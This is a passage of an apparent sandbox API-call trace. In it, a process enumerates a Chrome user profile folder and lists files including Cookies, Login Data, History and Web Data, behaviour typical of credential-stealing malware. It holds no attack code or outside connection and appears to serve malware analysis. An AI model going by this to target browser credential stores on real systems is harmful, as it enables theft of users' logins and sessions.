ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa7b85d6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x206e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferences", cAlternateFileName="PREFER~1")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5157d0ff, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5157d0ff, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5397926d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db", cAlternateFileName="PREVIE~1.DB")) returned 1 [0162.312] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517348e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517348e4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x539e223d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab07e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab07e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xebd41496, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab2f0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab2f0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xebd83378, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager-journal", cAlternateFileName="QUOTAM~2")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5706285f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeeb01e7d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeeb01e7d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8617, dwReserved0=0x0, dwReserved1=0x0, cFileName="Secure Preferences", cAlternateFileName="SECURE~1")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe774d6a2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts", cAlternateFileName="SHORTC~1")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe7979194, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts-journal", cAlternateFileName="SHORTC~2")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Data", cAlternateFileName="SYNCDA~1")) returned 1 [0162.313] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Extension Settings", cAlternateFileName="SYNCEX~1")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52c6a9d7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5118b971, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5118b971, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52c99054, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites-journal", cAlternateFileName="TOPSIT~2")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf148b749, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xf148b749, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf148b749, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransportSecurity", cAlternateFileName="TRANSP~1")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52aedbdc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52aedbdc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visited Links", cAlternateFileName="VISITE~1")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Applications", cAlternateFileName="WEBAPP~1")) returned 1 [0162.314] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x51b5f84c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1 [0162.315] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5221db78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 1 [0162.315] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.315] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0162.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0162.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0162.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0162.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x3d [0162.316] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0162.316] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.317] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5172d381, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x517321bc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0162.317] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa98218f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0162.317] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295fc2f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295fc2f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa9ce7a0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0162.317] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8be630f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa6610ba, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1 [0162.317] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa7b85d6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa7b85d6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1 [0162.317] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76dafa5, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76dafa5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~2")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~3")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf9458ec6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf9458ec6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242d194, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242d194, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x527b211b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242f8b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242f8b3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x529538f7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5179d880, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Profile.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0162.318] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5234a080, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0162.319] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa82ac98, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xfa82ac98, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa82ac98, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x6, dwReserved0=0x0, dwReserved1=0x0, cFileName="History Provider Cache", cAlternateFileName="HISTOR~2")) returned 1 [0162.319] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x523d5309, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History-journal", cAlternateFileName="HISTOR~1")) returned 1 [0162.319] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5753349f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Session", cAlternateFileName="LASTSE~1")) returned 1 [0162.319] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5776f89b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Tabs", cAlternateFileName="LASTTA~1")) returned 1 [0162.319] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1 [0162.320] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1 [0162.320] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52319328, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52319328, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1 [0162.320] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5231ba4e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5231ba4e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe761c3cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data-journal", cAlternateFileName="LOGIND~2")) returned 1 [0162.320] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5292eec7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5292eec7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor", cAlternateFileName="NETWOR~1")) returned 1 [0162.320] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529315f0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x529315f0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53d9f3c2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor-journal", cAlternateFileName="NETWOR~2")) returned 1 [0162.320] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xec432c10, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1 [0162.321] FindNextFileW (in: 